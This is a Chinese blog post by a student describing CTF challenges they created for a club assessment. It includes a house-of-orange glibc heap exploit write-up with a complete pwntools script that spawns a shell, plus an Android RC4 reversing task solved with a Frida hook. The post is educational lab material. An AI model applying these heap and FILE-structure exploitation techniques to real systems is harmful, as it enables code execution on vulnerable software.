红岩考核出题笔记

红岩最终考核出题笔记

前言:

在红岩网校运维安全部作为学院的这一年里,是我综合能力提升最大的一年。不仅在前辈们的指引下,技术得到快速进步,也在和大家的交流中,大大优化了自己的各种观念,总之,很幸运能和大家度过这难忘的一年。

总结:

在网校主要学习二进制漏洞利用,但是也对运维,逆向和web安全有浓厚的兴趣与少许基础。
关于主攻方向,目前根据ctf wiki的目录结构,已经能掌握以下漏洞利用原理与简单方法:

  • 栈溢出:
    • 栈溢出原理
    • 基本ROP
    • 中级ROP
      • ret2cus
    • 高级ROP
      • ret2dlresolve
    • 花式ROP
      • Stack Pivoting
      • Frame faking
      • Stack smash
      • 栈上的Partial overwrite
  • 格式化字符串漏洞
  • Glibc heap利用
    • 堆概述
    • 堆相关数据结构
    • 深入理解Ptmalloc2
    • 堆溢出
    • 堆中的Off-By-One
    • Chunk Extend and Overlapping
    • Unlink
    • Use After Free
    • Double free
  • IO_FILE利用
    • FILE结构
    • 伪造vtable劫持程序流程

通过暑假的研习,有望在开学前夕阅读完cft-wiki pwn相关所有内容,再通过后续的加强练习,在实战与竞赛中,熟练掌握较为复杂的利用方法。

出题题目:

PWN题目1:IO_FILE利用

本题主要考察对Linux中文件流,堆利用及FILE结构的细节理解。FILE结构介绍,house of orange攻击方法,unsorted bin attack.
没有申请到勤务连,甚至去了战术连,白天连摔擒,战术动作,利用中午和晚上那一点时间来肝考核,到最后几天的时候,差点就蚌埠住了,每天起来都是全身酸痛,还有考核deadline的巨大压力,但是我tm支楞起来了哦,淦!

思路:

在这里插入图片描述

Write up:

通过静态分析,可以看到malloc的堆地址不限大小,而当申请很大的堆块时,top chunk不满足大小,就会调用mmap去映射内存,而mmap内存映射文件是在堆和栈的中间(例如libc.so,其它数据文件等),所以就可以泄露libc
在这里插入图片描述
使用unsorted bin attack,修改bk为_IO_list_all,指向main_arena中,一个unsorted bin chun的位置,虽然这样无法直接修改main arena但是_chain字段offset对应的地址却是可控的,可以先在那个地方,伪造一个大小为0x60的small bin,并释放到main arena中,在unsorted bin attack后,该字段刚好被当作_cain字段使用

p.sendlineafter("be:","4194304")

p.recvuntil("entry:")
libc_base = int(p.recv(),16) + 0x403000 - 0x10
print(hex(libc_base))
IO_list_all=libc_base+libc.sym["_IO_list_all"]
main_arena=libc_base+libc.sym['__malloc_hook']+0x58 + 0x10 #见unsorted bin attack 一节
print("IO_list_all: " + hex(IO_list_all))
print("main_arena: " + hex(main_arena))
delete()

在这里插入图片描述
获取了libc,通过偏移获取IO_list_all和main_arena的地址,然后通过溢出,修改topchunk的size,使之进入unsorted bin中

heap_base = new(0x10) - 0x10 #申请一个挨着topchunk的块,顺便获取一下堆的基址
print("heap base" + hex(heap_base)) 
#观察几个地址 done
edit(b'a' * 0x10 + p64(0) + p64(0xfe1))
delete()
gdb.attach(p)
new(0x1000)
gdb.attach(p)
delete()

在这里插入图片描述
可以看到topchunk的地址被改成了0xfe1,然后随便申请一个比0xfe1大的空间,topchunk就进入了unsorted bin 中:
在这里插入图片描述

接下来实施unsorted bin attack并构造heap chain:
new(0x2F0)#从unsorted bin中切割拿出来的,此时直接写入bk

edit(b'\x00' * (0x2F0 + 8) +p64(0xCE1) + p64(main_arena) * 2 + b'\x00' * 0xCC0 +  p64(0xCE0) + p64(0x11))
#维持了unsorted bin
#gdb.attach(p)
delete()
#gdb.attach(p)
new(0x3F0) #申请有一个大于刚刚申请的堆块,大的堆块被切割,然后unsorted bin把0x300大小的堆块整理进了smallbin
delete() 
new(0x2F0) #从smallbin中取出堆块

之前已经通过泄露,得到了第一个_IO_list_all的地址,可以查看偏移:
在这里插入图片描述
_chain和_IO_list_all的偏移为0x88(但是看别人的偏移都是0x60,虽然我不懂为啥不一样,但我大为震撼,因为exp用0x60调试的时候能跑通),vtable为0xf8,还有IO_OVERFLOW在vtable中的偏移:
在这里插入图片描述

接下来就是本题最关键的一个部分,也是house of orange攻击的核心:构造在内存中连续的堆块.

#构造堆块:
#Sustain heap struct
data = b'\x00'*0x2F0 + p64(0) + p64(0x401) + p64(heap_base + 0x300 + 0x400) + p64(main_arena) + b'\x00'*(0x3F0-0x10) 
#construct small bin and make the IO_list_all ->fd =main_arena+88
fake_IO_FILE  = b'/bin/sh\x00' + p64(0x61) + p64(main_arena) + p64(IO_list_all -0x10)
#satisfy write_base < write_ptr
fake_IO_FILE += p64(0) + p64(1)
#padding to vtable offset(0xf8)
fake_IO_FILE = fake_IO_FILE.ljust(0xC0,b'\x00')
fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2

#construct vtable 
vtable = heap_base + 0x300 + 0x400 + len(fake_IO_FILE) + 8
fake_IO_FILE += p64(vtable)
fake_IO_FILE += p64(0) + p64(0)
fake_IO_FILE += p64(1) + p64(system)
data += fake_IO_FILE

现在堆的结构是酱紫的:
edited_heap_struct.png
edited_heap.png
把"/bin/sh\x00"放到开头,是因为执行_IO_overflow函数时,把FILE结构体的地址作为参数

_IO_flush_all_lockp (int do_lock)  
{  
  int result = 0;  
  FILE *fp;  
#ifdef _IO_MTSAFE_IO  
  _IO_cleanup_region_start_noarg (flush_cleanup);  
  _IO_lock_lock (list_all_lock);  
#endif  
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)  
    {  
      run_fp = fp;  
      if (do_lock)  
        _IO_flockfile (fp);  
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)  
           || (_IO_vtable_offset (fp) == 0  
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr  
                                    > fp->_wide_data->_IO_write_base))/*我们需要构造满足条件*/  
           )  
          && _IO_OVERFLOW (fp, EOF) == EOF)/*从_IO_list_all指向的FILE结构开始查找,找到合适_IO_FILE作为_IO_OVERFLOW的参数,执行vtable里面的函数,把IO_FILE结构体本身作为参数*/  
        result = EOF;  
      if (do_lock)  
        _IO_funlockfile (fp);  
      run_fp = NULL;  
    }  
#ifdef _IO_MTSAFE_IO  
  _IO_lock_unlock (list_all_lock);  
  _IO_cleanup_region_end (0);  
#endif  
  return result;  
}  

然后来free一下,再malloc:

delete()
new(0x500)

malloc时,漏洞就触发了:
size为0x61的chunk被link到了small bin的链表中,bk地址处的值被改为main_arena+88形成循环链表,那些值就被改写了,又因为malloc时发生了错误,就进入了abort函数继续下面的流程.

在unsorted bin attack后_IO_list_all的值被改为了main_arena+88,而因为chunk的size被改为了0x60,再申请chunk时,0x60的chunk就会被分配到smallbin[4]这一条链表中,而main_arena+194地址处保留指向smallbin chunk的指针。main arena+194和main arena+88的偏移正好是0x60字节,而_IO_list_all与_chain的的偏移也是0x60,也就是_chain刚好指向了small bin的地址,再在small bin中构造fake IO_file和vtable,当abort函数调用_IO_flush_all_lockp函数时,就可以成功的getshell了

接下来动态调试看一下,附加调试,下断点到_IO_flush_all_lockp函数,这个时候堆里面的一些流程都已经完成,查看一下_IO_list_all和堆的状态
heap.png
再看一下_chain里构造的fake_IO_FILE
fake_IO_FILE.png
write_base和write_ptrt,vtable都对应上了,再看一下vtable:
vtable.png
IO_overflow的地址成功被改为了system的地址,再继续动态调试

get SHELL !!!

在这里插入图片描述
exp:

from pwn import *

context.log_level = "debug"

p = process(["./ld-2.23.so","./worldline"],env={"LD_PRELOAD" : "./libc-2.23.so"})
libc = ELF("./libc-2.23.so")

def new(size):
    p.sendlineafter("dicision:","1")
    p.sendlineafter("be:",str(size))
    p.recvuntil("entry:")
    return int(p.recvuntil('\n',drop = True),16)

def delete():
    p.sendlineafter("dicision:","3")

def edit(content):
    p.sendlineafter("dicision:","2")
    p.sendlineafter(":",content)

libc_base = new(0x200000) + 0x204000 - 0x10
print("libc base: " + hex(libc_base))
IO_list_all=libc_base+libc.sym["_IO_list_all"]
main_arena=libc_base+libc.sym['__malloc_hook']+0x58 + 0x10 #见unsorted bin attack 一节
system_addr=libc_base+libc.sym['system']
delete()
heap_base = new(0x10) - 0x10
print("heap base" + hex(heap_base))
edit(b'a' * 0x10 + p64(0) + p64(0xfe1))
delete()
#gdb.attach(p)
new(0x1000)
#gdb.attach(p)
delete()
new(0x2F0)#从unsorted bin中切割拿出来的,此时直接写入bk
edit(b'\x00' * (0x2F0 + 8) +p64(0xCE1) + p64(main_arena) * 2 + b'\x00' * 0xCC0 +  p64(0xCE0) + p64(0x11))
#维持了unsorted bin
delete()
new(0x3F0) #申请有一个大于刚刚申请的堆块,大的堆块被切割,然后unsorted bin把0x300大小的堆块整理进了smallbin
delete() 
new(0x2F0) #从smallbin中取出堆块
#构造堆块:
data = b'\x00'*0x2F0 + p64(0) + p64(0x401) + p64(heap_base + 0x300 + 0x400) + p64(main_arena) + b'\x00'*(0x3F0-0x10)
fake_IO_FILE  = b'/bin/sh\x00' + p64(0x61) + p64(main_arena) + p64(IO_list_all -0x10)#make the IO_list_all ->fd =main_arena+88
fake_IO_FILE += p64(0) + p64(1)#satisfy write_base < write_ptr
fake_IO_FILE = fake_IO_FILE.ljust(0xC0,b'\x00')
fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2
vtable = heap_base + 0x300 + 0x400 + len(fake_IO_FILE) + 8
fake_IO_FILE += p64(vtable)
fake_IO_FILE += p64(0)*2 +p64(1)
fake_IO_FILE += p64(system_addr)
data += fake_IO_FILE
edit(data)
delete()
print()
print("IO_list_all: " + hex(IO_list_all))
print("main_arena: " + hex(main_arena))
new(0x500)
p.interactive()

RE题目1:安卓逆向

本题主要考察对安卓结构的了解与安卓hook工具Frida的使用

出题思路

在这里插入图片描述

由于时间与精力问题,并没有对so库进行进一步的加密,而且在动态调试下,所有的静态加密都会失效,这里放几个关于so加密的文章,感觉这里面还有很深的学问
Android SO文件加密流程
Android SO文件保护加固——加密篇(一)

对文件进行加密需要对文件结构有较深入的了解,上次学长讲课之后回来没有继续了解,暑假再深入学习吧

Write up:
预处理:

拿到app,在安卓模拟器上安卓并打开,一个很普通的安卓逆向界面
test
解压缩apk,并用dex-tools把classes2.dex反编译为java文件,再用jd-gui打开,得到源码
在这里插入图片描述

逆向分析:

程序的主要流程就是把输入的flag与解密后的密文进行比对,这里key已经给出了,为0XFA
因为加密后的密文为乱码,无法复制,所以程序把flagc保存到了文件中,在save方法中,文件以data为名称保存.
这种保存的文件,一般保存在/data/data/包名/files目录下,打开文件管理器找到该文件,并导出到电脑
在这里插入图片描述

接下来就是对so库进行逆向,在解包后的文件夹\lib\x86中找到库,用ida打开,找到加密的函数并F5

由于本题的主要考点是动态调试,所以就不做多余的静态分析了,这里贴出源码

#include <jni.h>
#include <string>

using namespace std;

extern "C"
JNIEXPORT jstring JNICALL
Java_com_test_sotest_MainActivity_RC4(JNIEnv *env, jobject thiz, jcharArray str, jcharArray key0) {
    // TODO: implement RC4()

    jchar* array = env->GetCharArrayElements(str, NULL);
    uint32_t arraysize = env->GetArrayLength(str);
    char C[arraysize+1];
    int i = 0;
    for(i = 0; i < arraysize; i++){
        C[i] = array[i];
    }

    array = env->GetCharArrayElements(key0, NULL);
    arraysize = env->GetArrayLength(key0);
    char key[arraysize+1];
    i = 0;
    for(i = 0; i < arraysize; i++){
        key[i] = array[i];
    }

    int S[256];
    int T[256];

    int  count = 0;
    count = strlen(key);

    for(int i = 0; i < 256; i++)
    {
        S[i] = i;
        int tmp = i % count;
        T[i] = key[tmp];
    }

    int j = 0;

    for(int  i = 0; i < 256; i++)
    {
        j = (j + S[i] + T[i]) % 256;
        int tmp;
        tmp = S[j];
        S[j] = S[i];
        S[i] = tmp;
    }

    int length = 0;
    length = strlen(C);

    i=0,j=0;

    for(int p = 0; p < length; p++)
    {

        i = (i + 1) % 256;
        j = (j + S[i]) % 256;
        int tmp;
        tmp = S[j];
        S[j] = S[i];
        S[i] = tmp;

        int k = S[(S[i] + S[j]) % 256];
        C[p]=C[p]^k;
    }


 C[10] = '\0';
    jstring newArgName=env->NewStringUTF(C);
    //env-> DeleteLocalRef(newArgName);
    return newArgName;

}

extern "C"
JNIEXPORT jstring JNICALL
Java_com_test_sotest_MainActivity_test(JNIEnv *env, jobject thiz, jstring str) {
    // TODO: implement test()
    return str;
}

流程就是把传入的字符串转换为char类型,加密后有转换回去,由于RC4对称算法的特性,加密后的密文再加密一次即可解密.

使用frida工具进行Hook

把frida-server push到手机
在这里插入图片描述
运行server
在这里插入图片描述
编写hook脚本:

function jstring2Str(jchar) {
    var ret;
    Java.perform(function () {
        var String = Java.use("java.lang.String");
        ret = Java.cast(jchar, String);
    });
    return ret;
}

Interceptor.attach(Module.getExportByName('libnative-lib.so', 'Java_com_test_sotest_MainActivity_RC4'), {
    onEnter: function(args) {
        console.log("func onEnter...");
        
    },
    onLeave: function(retval) {
      console.log("hook return:", jstring2Str(retval) );
    }
});
  1. 输入命令frida -U -l .\hook.js com.test.sotest --no-pause开始hook
  2. 运行程序
  3. 随便输入9个字符

hook成功

在这里插入图片描述
在这里插入图片描述

出题遇到的坑点:
  • 关于android studio环境配置实属搞扯,先后遇到过许多:无法上传和启动app,找不到一些功能等
  • jvav内数据类型的转换与数据传入到so库中不匹配问题
  • 加密后的密文乱码,无法导出问题
  • frida hook native层的各种问题,
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值